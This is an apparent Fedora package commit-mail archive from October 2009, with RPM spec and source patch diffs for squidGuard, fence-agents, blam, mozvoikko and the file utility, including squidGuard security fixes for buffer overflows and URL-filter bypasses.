 %{__install} -p -d $RPM_BUILD_ROOT%{_cgibin}
 %{__install} samples/squid*cgi $RPM_BUILD_ROOT%{_cgibin}
@@ -116,19 +128,25 @@ popd
 %{__install} -p -D -m 0755 %{SOURCE102} $RPM_BUILD_ROOT%{_initrddir}/squidGuard
 %{__install} -p -D -m 0755 %{SOURCE103} $RPM_BUILD_ROOT%{_initrddir}/transparent-proxying
 
-pushd $RPM_BUILD_ROOT%{_dbhomedir}
-tar xfz $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
-popd
+#pushd $RPM_BUILD_ROOT%{_dbhomedir}
+tar xfz $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
+#popd
 
 sed -i "s,dest/adult/,blacklists/porn/,g" $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
 
+%{__install} -p -D -m 0644 samples/babel.* $RPM_BUILD_ROOT%{_cgibin}
+
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squidGuard
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squid
+ln -s ../squidGuard/squidGuard.log  $RPM_BUILD_ROOT%{_localstatedir}/log/squid/squidGuard.log
+
 %clean
 %{__rm} -rf $RPM_BUILD_ROOT
 
 %post
 # fix SELinux bits
-%{_bindir}/chcon -R system_u:object_r:squid_cache_t /var/squidGuard >/dev/null 2>&1
-%{_bindir}/chcon -R system_u:object_r:squid_log_t /var/log/squidGuard >/dev/null 2>&1
+#%{_bindir}/chcon -R system_u:object_r:squid_cache_t /var/squidGuard >/dev/null 2>&1
+#%{_bindir}/chcon -R system_u:object_r:squid_log_t /var/log/squidGuard >/dev/null 2>&1
 
 # do we need a new config file?
 if [ -s %{_sysconfdir}/squid/squidGuard.conf ]; then
@@ -144,10 +162,10 @@ cat %{_docdir}/%{name}-%{version}/squidG
 /sbin/chkconfig --add transparent-proxying
 
 # reload SELinux policies
-echo "Loading new SELinux policy"
-pushd %{_sysconfdir}/selinux/targeted/src/policy/
-%{__make} load &> /dev/null
-popd
+#echo "Loading new SELinux policy"
+#pushd %{_sysconfdir}/selinux/targeted/src/policy/
+#%{__make} load &> /dev/null
+#popd
 
 #### End of %post
 
@@ -171,13 +189,67 @@ fi
 %config(noreplace) %{_sysconfdir}/logrotate.d/squidGuard
 %config(noreplace) %{_sysconfdir}/cron.daily/squidGuard
 %{_dbtopdir}/
-%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
-%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
-%attr(07550,root,root) %{_cgibin}/*.cgi
+#%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
+#%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
+%attr(0755,root,root) %{_cgibin}/*.cgi
+%config(noreplace) %{_cgibin}/squidGuard.cgi
+%{_cgibin}/babel.*
 %{_initrddir}/squidGuard
 %{_initrddir}/transparent-proxying
+%{_localstatedir}/log/squidGuard
+%{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Mon Oct 26 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-8
+- Applying upstream patches for CVE-2009-3700, BZ 530862.
+
+* Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
+- Make squidGuard.cgi config(noreplace)
+- Relocated logs, updated logrotate file.
+- Updated blacklist URL.
+
+* Wed Sep 09 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-6
+- Include babel files, BZ 522038.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Mar 05 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-4
+- Initscript cleanup, BZ 247065.
+
+* Tue Feb 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-3
+- Drop chcon Req.
+
+* Mon Feb 23 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-2
+- Dropping selinux policy and chcon, BZ 486634.
+- Fixed URL of Source0.
+
+* Wed Feb 18 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-1
+- Update to 1.4, BZ 485530.
+- Building against compat-db46 until next version.
+
+* Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.3-1
+- Update to 1.3.
+- Dropped paths, sed patches, applied upstream.
+- New SG-2008-06-13 patch.
+ 
+* Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-2
+- Fix sg-2008-06-13, BZ 452467.
+
+* Wed Feb 11 2009 Jon Ciesla <limb at jcomserv.net> - 1.2.1-1
+- Update to 1.2.1,  BZ 245377.
+- Dropped upstream patch.
+- Updated blacklists.
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.2.0-18
+- Autorebuild for GCC 4.3
+
+* Wed Dec 05 2007 Release Engineering <rel-eng at fedoraproject dot org> - 1.2.0-17
+ - Rebuild for deps
+
+* Fri Nov 16 2007 John Berninger <john at ncphotography dot com> 1.2.0-16
+- Fix perms on cgi-bin files
+
 * Mon Mar 26 2007 John Berninger <jwb at redhat dot com>	1.2.0-15
 - Assert ownership of /var/squidGuard - bz 233915
 


Index: squidguard
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidguard,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- squidguard	9 Sep 2005 12:16:10 -0000	1.1
+++ squidguard	27 Oct 2009 12:29:14 -0000	1.2
@@ -13,6 +13,16 @@
 # pidfile: /var/run/squid.pid
 # config: /etc/squid/squid-squidGuard.conf
 
+### BEGIN INIT INFO
+# Provides: lsb-squidguard
+# Required-Start: $local_fs $network $remote_fs $squid
+# Required-Stop: $local_fs $network $remote_fs
+# Default-Start:
+# Default-Stop: 0 1 6
+# Short-Description: start and stop squidGuard
+# Description: SquidGuard - web filtering system for the Squid proxy server.
+### END INIT INFO
+
 PATH=/usr/bin:/sbin:/bin:/usr/sbin
 export PATH
 



From fabbione at fedoraproject.org  Tue Oct 27 12:30:10 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 12:30:10 +0000 (UTC)
Subject: rpms/fence-agents/F-11 fence-agents.spec,1.14,1.15
Message-ID: <20091027123010.724F611C02C6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31592

Modified Files:
	fence-agents.spec 
Log Message:
Switch to file based Requires for virsh



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/fence-agents.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- fence-agents.spec	27 Oct 2009 10:51:14 -0000	1.14
+++ fence-agents.spec	27 Oct 2009 12:30:10 -0000	1.15
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -30,11 +30,9 @@ Requires: sg3_utils OpenIPMI telnet open
 Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
-%if 0%{?fedora} >= 12
-Requires: libvirt-client
-%else
-Requires: libvirt
-%endif
+# This is required by fence_virsh. Per discussion on fedora-devel
+# switching from package to file based require.
+Requires: /usr/bin/virsh
 
 ## Setup/build bits
 
@@ -91,6 +89,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-3
+- Switch to file based Requires for virsh
+
 * Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
 - Fix Requires: on libvirt/libvirt-client
 



From limb at fedoraproject.org  Tue Oct 27 12:30:21 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 27 Oct 2009 12:30:21 +0000 (UTC)
Subject: rpms/squidGuard/EL-5 squidGuard-1.2.1-SG-2008-06-13.patch, NONE,
	1.1 squidGuard-1.3-SG-2008-06-13.patch, NONE,
	1.1 squidGuard-1.4-20091015.patch, NONE,
	1.1 squidGuard-1.4-20091019.patch, NONE, 1.1
Message-ID: <20091027123021.F073C11C02C6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31614

Added Files:
	squidGuard-1.2.1-SG-2008-06-13.patch 
	squidGuard-1.3-SG-2008-06-13.patch 
	squidGuard-1.4-20091015.patch squidGuard-1.4-20091019.patch 
Log Message:
Patches.


squidGuard-1.2.1-SG-2008-06-13.patch:
 sgDiv.c |  113 ++++++++++++++++++++++------------------------------------------
 1 file changed, 40 insertions(+), 73 deletions(-)

--- NEW FILE squidGuard-1.2.1-SG-2008-06-13.patch ---
--- src/sgDiv.c.orig	2009-02-12 07:31:57.000000000 -0600
+++ src/sgDiv.c	2008-06-13 11:52:17.000000000 -0500
@@ -94,6 +94,9 @@
 {
   char *p, *d = NULL, *a = NULL, *e = NULL, *o, *field;
   int i = 0;
+  int report_once = 1;
+  int trailingdot = 0;
+  size_t strsz;
   char c;
   int ndx = 0;
   
@@ -126,22 +129,38 @@
     */
     /* Fix for multiple slash vulnerability (bug1). */
     /* Check if there are still two or more slashes in sequence which must not happen */
-    int report_once = 1;
+    strsz = strlen(p);
 
-    /* loop thru the string 'p' until the char '?' is hit */
+    /* loop thru the string 'p' until the char '?' is hit or the "end" is hit */
     while('?' != p[ndx] && '\0' != p[ndx])
     {
-      /* if this char and the next char are slashes, 
-         then shift the rest of the string left one char */
-      if('/' == p[ndx] && '/' == p[ndx+1])
-      {
-        size_t sz = strlen(p+ndx+1);
-        strncpy(p+ndx,p+ndx+1, sz);
-        p[ndx+sz] = '\0';
-        if(1 == report_once) {
-          sgLogError("Warning: Possible bypass attempt. Found multiple slashes where only one is expected: %s", s->orig);
-          report_once--;
+        /* in case this is a '://' skip over it, but try to not read past EOS */
+        if(3 <= strsz-ndx) {
+          if(':' == p[ndx] && '/' == p[ndx+1] && '/' == p[ndx+2]) {
+           ndx+=3; /* 3 == strlen("://"); */
+          }
         }
+        
+       /* if this char and the next char are slashes,
+ *           then shift the rest of the string left one char */
+       if('/' == p[ndx] && '/' == p[ndx+1]) {
+         size_t sz = strlen(p+ndx+1);
+         strncpy(p+ndx,p+ndx+1, sz);
+         p[ndx+sz] = '\0';
+          if(1 == report_once) {
+            sgLogError("Warning: Possible bypass attempt. Found multiple slashes where only one is expected: %s", s->orig);
+            report_once--;
+          }
+      }
+      else if ('.' == p[ndx] && '/' == p[ndx+1] && trailingdot == 0) {
+      /* If the domain has trailing dot, remove (problem found with squid 3.0 stable1-5) the trailing dot (fixes bug 38). */
+      /* if this char is a dot and the next char is a slash, then shift the rest of the string left one char */
+      /* We do this only the first time it is encountered. */
+         trailingdot++;
+         size_t sz = strlen(p+ndx+1);
+         strncpy(p+ndx,p+ndx+1, sz);
+         p[ndx+sz] = '\0';
+         sgLogError("Warning: Possible bypass attempt. Found a trailing dot in the domain name: %s", s->orig); 
       }
       else
       {
@@ -537,13 +556,13 @@
 #endif
 {
   struct sgRegExp *re;
-  regmatch_t pm[10];
+  regmatch_t pm;
   static char newstring[MAX_BUF];
   char *result = NULL, *p;
   int substlen;
   *newstring='\0';
   for(re = regexp; re != NULL; re = re->next){
-    if (regexec (re->compiled, pattern, sizeof(pm) / sizeof(pm[0]), pm, 0) != 0){
+    if (regexec (re->compiled, pattern, 1, &pm, 0) != 0){
       result = NULL;
     } else {
       substlen = strlen(re->substitute);
@@ -553,65 +572,14 @@
 	*newstring = '\0';
       p = newstring;
       do {
-	if((p - newstring)+ pm[0].rm_so  >= MAX_BUF)
+	if((p - newstring)+ pm.rm_so  >= MAX_BUF)
 	  break;
-      p = strncat(newstring,pattern,pm[0].rm_so);
-      {
-          char *p_cur;
-          char *p_next;
-
-          for (p_next = p_cur = re->substitute;
-              p_next < (re->substitute + substlen);
-              p_next++)
-          {
-              if (*p_next == '\\')
-              {
-                  if (p_cur < p_next)
-                  {
-                      if (((p - newstring) + (p_next - p_cur)) >= MAX_BUF)
-                          goto err;
-                      p = strncat(newstring, p_cur, p_next - p_cur);
-                  }
-                  p_next++;
-                  if (p_next < (re->substitute + substlen)
-                      && '0' <= *p_next && *p_next <= '9')
-                  {
-                      int i = *p_next - '0';
-                      if ((p - newstring) + (pm[i].rm_eo - pm[i].rm_so) >= MAX_BUF)
-                          goto err;
-                      p = strncat(newstring, pattern + pm[i].rm_so, pm[i].rm_eo - pm[i].rm_so);
-                  }
-                  else
-                  {
-                      if ((p - newstring + 1) >= MAX_BUF)
-                          goto err;
-                      p = strncat(newstring, p_next, 1);
-                  }
-                  p_cur = p_next + 1;
-              }
-              else if (*p_next == '&')
-              {
-                  if (p_cur < p_next)
-                  {
-                      if (((p - newstring) + (p_next - p_cur)) >= MAX_BUF)
-                          goto err;
-                      p = strncat(newstring, p_cur, p_next - p_cur);
-                  }
-                  if (((p - newstring) + (pm[0].rm_eo - pm[0].rm_so)) >= MAX_BUF)
-                      goto err;
-                  p = strncat(newstring, pattern + pm[0].rm_so, pm[0].rm_eo - pm[0].rm_so);
-                  p_cur = p_next + 1;
-              }
-          }
-          if (p_cur < p_next)
-          {
-              if (((p - newstring) + (p_next - p_cur)) >= MAX_BUF)
-                  goto err;
-              p = strncat(newstring, p_cur, p_next - p_cur);
-          }
-      }
-      pattern = pattern + pm[0].rm_eo;
-     } while(regexec (re->compiled, pattern, sizeof(pm) / sizeof(pm[0]), pm, REG_NOTBOL)== 0 &&
+	p = strncat(newstring,pattern,pm.rm_so);
+	if((p - newstring)+ substlen  >= MAX_BUF)
+	  break;
+	p = strcat(newstring,re->substitute);	
+	pattern = pattern + pm.rm_eo;
+      } while(regexec (re->compiled, pattern, 1, &pm, REG_NOTBOL)== 0 &&
 	      re->global);
       if((p - newstring)+ strlen(pattern)  <= MAX_BUF)
 	p = strcat(newstring,pattern);
@@ -619,7 +587,6 @@
       break;
     }
   }
-err:
   return result;
 }
 

squidGuard-1.3-SG-2008-06-13.patch:
 sgDiv.c.in |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE squidGuard-1.3-SG-2008-06-13.patch ---
--- src/sgDiv.c.in.orig	2007-11-03 08:59:49.000000000 -0500
+++ src/sgDiv.c.in	2008-06-13 12:01:43.000000000 -0500
@@ -94,6 +94,7 @@
   int i = 0;
   char c;
   int report_once = 1;
+  int trailingdot = 1;
   size_t strsz;
   int ndx = 0;
   
@@ -148,6 +149,16 @@
             report_once--;
           }
       }
+      else if ('.' == p[ndx] && '/' == p[ndx+1] && trailingdot == 0) {
+      /* If the domain has trailing dot, remove (problem found with squid 3.0 stable1-5) */
+      /* if this char is a dot and the next char is a slash, then shift the rest of the string left one char */
+      /* We do this only the first time it is encountered. */
+         trailingdot++;
+         size_t sz = strlen(p+ndx+1);
+         strncpy(p+ndx,p+ndx+1, sz);
+         p[ndx+sz] = '\0';
+         @NOLOG1@ sgLogError("Warning: Possible bypass attempt. Found a trailing dot in the domain name: %s", s->orig); @NOLOG2@
+      }
       else
       {
         /* increment the string indexer */

squidGuard-1.4-20091015.patch:
 sgLog.c |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE squidGuard-1.4-20091015.patch ---
--- src/sgLog.c	2007-11-16 10:58:32.000000000 -0600
+++ src/sgLog.c	2009-10-15 14:25:14.000000000 -0500
@@ -5 +5 @@
-  This software product, squidGuard, is copyrighted (C) 1998-2007
+  This software product, squidGuard, is copyrighted (C) 1998-2009
@@ -58,2 +58,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    fprintf(stderr,"overflow in vsprintf (sgLog): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    fprintf(stderr,"overflow in vsnprintf (sgLog): %s",strerror(errno));
@@ -90,2 +90,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    sgLogFatalError("overflow in vsprintf (sgLogError): %s",strerror(errno));
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));
@@ -107,2 +107,2 @@
-  if(vsprintf(msg, format, ap) > (MAX_BUF - 1)) 
-    return;
+  if(vsnprintf(msg, MAX_BUF, format, ap) > (MAX_BUF - 1)) 
+    sgLog(globalErrorLog, "overflow in vsnprintf (sgLogError): %s",strerror(errno));

squidGuard-1.4-20091019.patch:
 sgDiv.c.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE squidGuard-1.4-20091019.patch ---
--- src/sgDiv.c.in	2008-07-14 11:02:43.000000000 -0500
+++ src/sgDiv.c.in	2009-10-19 14:26:04.000000000 -0500
@@ -748 +748 @@
-      strcat(buf, req->orig);
+      strncat(buf, req->orig, 2048);
--- src/sg.h.in	2007-11-16 10:58:32.000000000 -0600
+++ src/sg.h.in	2009-10-19 14:25:23.000000000 -0500
@@ -76 +76 @@
-#define MAX_BUF 4096
+#define MAX_BUF 12288



From fabbione at fedoraproject.org  Tue Oct 27 12:34:44 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 12:34:44 +0000 (UTC)
Subject: rpms/fence-agents/F-10 fence-agents.spec,1.8,1.9
Message-ID: <20091027123444.DA67B11C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32747

Modified Files:
	fence-agents.spec 
Log Message:
Switch to file based Requires for virsh



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-10/fence-agents.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fence-agents.spec	27 Oct 2009 10:56:54 -0000	1.8
+++ fence-agents.spec	27 Oct 2009 12:34:44 -0000	1.9
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -30,11 +30,9 @@ Requires: sg3_utils OpenIPMI telnet open
 Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
-%if 0%{?fedora} >= 12
-Requires: libvirt-client
-%else
-Requires: libvirt
-%endif
+# This is required by fence_virsh. Per discussion on fedora-devel
+# switching from package to file based require.
+Requires: /usr/bin/virsh
 
 ## Setup/build bits
 
@@ -91,6 +89,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-3
+- Switch to file based Requires for virsh
+
 * Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
 - Fix Requires: on libvirt/libvirt-client
 



From xhorak at fedoraproject.org  Tue Oct 27 12:34:58 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 12:34:58 +0000 (UTC)
Subject: rpms/blam/devel blam.spec,1.35,1.36
Message-ID: <20091027123458.4940A11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/blam/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv349

Modified Files:
	blam.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-19
- Rebuild against newer gecko



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/devel/blam.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- blam.spec	26 Oct 2009 20:11:23 -0000	1.35
+++ blam.spec	27 Oct 2009 12:34:58 -0000	1.36
@@ -1,11 +1,11 @@
 ## XXX: Hopefully Mono, Blam and multilib will play nicely soon...
 %define	_libdir			%{_prefix}/lib
 %define	dbus_sharp_min_version	0.60
-%define	gecko_version		1.9.1.3
+%define	gecko_version		1.9.1.4
 
 Name:		blam
 Version:	1.8.5
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-19
+- Rebuild against newer gecko
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.8.5-18
 - ExcludeArch sparc64
 



From xhorak at fedoraproject.org  Tue Oct 27 12:35:48 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 12:35:48 +0000 (UTC)
Subject: rpms/mozvoikko/devel mozvoikko.spec,1.18,1.19
Message-ID: <20091027123548.91B8311C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/mozvoikko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv565

Modified Files:
	mozvoikko.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0-5
- Rebuild against newer gecko



Index: mozvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mozvoikko/devel/mozvoikko.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- mozvoikko.spec	15 Sep 2009 20:41:12 -0000	1.18
+++ mozvoikko.spec	27 Oct 2009 12:35:48 -0000	1.19
@@ -1,5 +1,5 @@
 # For the xulrunner unstable requires
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 # These come from install.rdf
 %global firefox_app_id \{ec8030f7-c20a-464f-9b0e-13a3a9e97384\}
 %global firefox_ext_id \{b676e3ff-cda7-4e0c-b2b8-74e4bb40a67a\}
@@ -11,7 +11,7 @@
 
 Name:           mozvoikko
 Version:        1.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Finnish Voikko spell-checker extension for Mozilla programs
 Group:          Applications/Internet
 License:        GPLv2+
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.0-5
+- Rebuild against newer gecko
+
 * Tue Sep 15 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 1.0-4
 - Drop Requires for libmalaga, the current version of libvoikko in Fedora
   Rawhide doesn't depend on libmalaga anymore



From dnovotny at fedoraproject.org  Tue Oct 27 12:40:52 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Tue, 27 Oct 2009 12:40:52 +0000 (UTC)
Subject: rpms/file/devel file-5.03-add-python-3.patch, NONE,
	1.1 file-5.03-djvu.patch, NONE, 1.1 file.spec, 1.107, 1.108
Message-ID: <20091027124052.F0A1011C00E6@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/file/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2486

Modified Files:
	file.spec 
Added Files:
	file-5.03-add-python-3.patch file-5.03-djvu.patch 
Log Message:
 - fix #531082 -  RFE: add detection of Python 3 bytecode
 - fix #531127 -  `file' command does not recognize mime type `image/vnd.djvu'


file-5.03-add-python-3.patch:
 python |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE file-5.03-add-python-3.patch ---
diff -up file-5.03/magic/Magdir/python.add-python-3 file-5.03/magic/Magdir/python
--- file-5.03/magic/Magdir/python.add-python-3	2009-10-26 15:06:23.387518090 -0400
+++ file-5.03/magic/Magdir/python	2009-10-26 15:06:37.122518374 -0400
@@ -5,7 +5,8 @@
 # From: David Necas <yeti at physics.muni.cz>
 # often the module starts with a multiline string
 0	string		"""	a python script text executable
-# MAGIC as specified in Python/import.c (1.5 to 2.3.0a)
+# MAGIC as specified in Python/import.c (1.5 to 2.6a1 and 3.1a0, assuming
+# that Py_UnicodeFlag is off for Python 2)
 # 20121  ( YEAR - 1995 ) + MONTH  + DAY (little endian followed by "\r\n"
 0	belong		0x994e0d0a	python 1.5/1.6 byte-compiled
 0	belong		0x87c60d0a	python 2.0 byte-compiled
@@ -15,6 +16,8 @@
 0	belong		0x6df20d0a	python 2.4 byte-compiled
 0	belong		0xb3f20d0a	python 2.5 byte-compiled
 0	belong		0xd1f20d0a	python 2.6 byte-compiled
+0	belong		0x3b0c0d0a	python 3.0 byte-compiled
+0	belong		0x4f0c0d0a	python 3.1 byte-compiled
 
 
 0	string/b  #!\ /usr/bin/python	python script text executable

file-5.03-djvu.patch:
 images |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE file-5.03-djvu.patch ---
diff -up file-5.03/magic/Magdir/images.djvu file-5.03/magic/Magdir/images
--- file-5.03/magic/Magdir/images.djvu	2009-10-27 13:06:11.000000000 +0100
+++ file-5.03/magic/Magdir/images	2009-10-27 13:08:25.000000000 +0100
@@ -545,12 +545,12 @@
 # Reference: http://djvu.org/docs/DjVu3Spec.djvu
 # Submitted by: Stephane Loeuillet <stephane.loeuillet at tiscali.fr>
 # Modified by (1): Abel Cheung <abelcheung at gmail.com>
-0	string	AT&TFORM
+0	string	AT&TFORM	DjVu
 !:mime	image/vnd.djvu
->12	string	DJVM		DjVu multiple page document
->12	string	DJVU		DjVu image or single page document
->12	string	DJVI		DjVu shared document
->12	string	THUM		DjVu page thumbnails
+>12	string	DJVM		multiple page document
+>12	string	DJVU		image or single page document
+>12	string	DJVI		shared document
+>12	string	THUM		page thumbnails
 
 
 # From Marc Espie


Index: file.spec
===================================================================
RCS file: /cvs/extras/rpms/file/devel/file.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- file.spec	21 Oct 2009 13:55:35 -0000	1.107
+++ file.spec	27 Oct 2009 12:40:52 -0000	1.108
@@ -5,7 +5,7 @@
 Summary: A utility for determining file types
 Name: file
 Version: 5.03
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: BSD
 Group: Applications/File
 Source0: ftp://ftp.astron.com/pub/file/file-%{version}.tar.gz
@@ -18,6 +18,8 @@ Patch4: file-5.03-xfsdump.patch
 Patch5: file-5.03-ifany.patch
 Patch6: file-5.03-multilib.patch
 Patch7: file-5.03-ppcswap.patch
+Patch8: file-5.03-add-python-3.patch
+Patch9: file-5.03-djvu.patch
 
 Requires: file-libs = %{version}-%{release}
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -75,6 +77,10 @@ file(1) command.
 %patch6 -p1
 #fixes #530083
 %patch7 -p1
+#fixes #531082
+%patch8 -p1
+#fixes #531127
+%patch9 -p1
 
 iconv -f iso-8859-1 -t utf-8 < doc/libmagic.man > doc/libmagic.man_
 touch -r doc/libmagic.man doc/libmagic.man_
@@ -149,6 +155,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 27 2009 Daniel Novotny <dnovotny at redhat.com> 5.03-11
+- fix #531082 -  RFE: add detection of Python 3 bytecode
+- fix #531127 -  `file' command does not recognize mime type `image/vnd.djvu'
+
 * Wed Oct 21 2009 Daniel Novotny <dnovotny at redhat.com> 5.03-10
 - fix #530083 -  file -s is not able to detect swap signature on ppc
 



From limb at fedoraproject.org  Tue Oct 27 12:41:06 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 27 Oct 2009 12:41:06 +0000 (UTC)
Subject: rpms/squidGuard/EL-5 squidGuard.spec,1.7,1.8
Message-ID: <20091027124106.A01D611C00E6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2549

Modified Files:
	squidGuard.spec 
Log Message:
Oops.



Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/EL-5/squidGuard.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- squidGuard.spec	27 Oct 2009 12:29:14 -0000	1.7
+++ squidGuard.spec	27 Oct 2009 12:41:06 -0000	1.8
@@ -41,7 +41,7 @@ Patch8:			squidGuard-1.4-20091019.patch
 URL:			http://www.squidguard.org/
 
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	bison, byacc, openldap-devel, flex, compat-db46
+BuildRequires:	bison, byacc, openldap-devel, flex, db4-devel
 #put db4-devel back and remove compat-db46 once release > 1.4
 Requires:		squid
 #Requires(post):	%{_bindir}/chcon



From xhorak at fedoraproject.org  Tue Oct 27 12:42:51 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 12:42:51 +0000 (UTC)
Subject: rpms/gnome-web-photo/devel gnome-web-photo.spec,1.29,1.30
Message-ID: <20091027124251.ACE8111C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/gnome-web-photo/devel
